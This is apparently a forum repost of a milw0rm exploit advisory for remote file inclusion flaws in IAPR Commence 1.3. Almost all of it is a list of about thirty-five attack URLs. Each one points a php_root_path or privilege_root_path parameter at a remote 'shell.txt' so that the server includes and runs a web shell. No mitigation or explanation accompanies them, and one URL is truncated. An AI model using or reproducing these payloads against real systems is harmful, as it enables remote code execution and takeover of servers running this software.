В этой теме нет ответов

[aka PSIH]

IAPR COMMENCE 1.3 Multiple Remote File Inclusion Vulnerability

exp:

http://localhost/Commence/includes/db_connect.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/include_all_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/main_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/output_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/user_authen_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/includes/include_all_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/include_all_phase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase1.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/admin/phase/phase1.php?privilege_root_path=http://localhost/shell.txt?   

http://localhost/Commence/admin/phase/phase2.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/admin/phase/phase2.php?privilege_root_path=http://localhost/shell.txt?   

http://localhost/Commence/admin/phase/phase3.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/admin/phase/phase3.php?privilege_root_path=http://localhost/shell.txt?   

http://localhost/Commence/admin/phase/phase4.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/admin/phase/phase4.php?privilege_root_path=[

http://localhost/Commence/admin/phase/phasebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/page_includes/page.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/page_includes/pagebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/includes/include_all_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/include_all_phase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/page_includes/pagebase.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/reviewer/phase/phase1.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/reviewer/phase/phase1.php?privilege_root_path=http://localhost/shell.txt?   

http://localhost/Commence/reviewer/phase/phase2.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/reviewer/phase/phase2.php?privilege_root_path=http://localhost/shell.txt?   

http://localhost/Commence/reviewer/phase/phase3.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/reviewer/phase/phase3.php?privilege_root_path=http://localhost/shell.txt?   

http://localhost/Commence/reviewer/phase/phase4.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/reviewer/phase/phase4.php?privilege_root_path=http://localhost/shell.txt?   

http://localhost/Commence/reviewer/phase/phasebase.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/user/phase/include_all_phase.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/user/phase/phase1.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/user/phase/phase2.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/user/phase/phase3.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/user/phase/phase4.php?php_root_path=http://localhost/shell.txt?   

http://localhost/Commence/user/phase/phasebase.php?php_root_path=http://localhost/shell.txt?

©milw0rm.com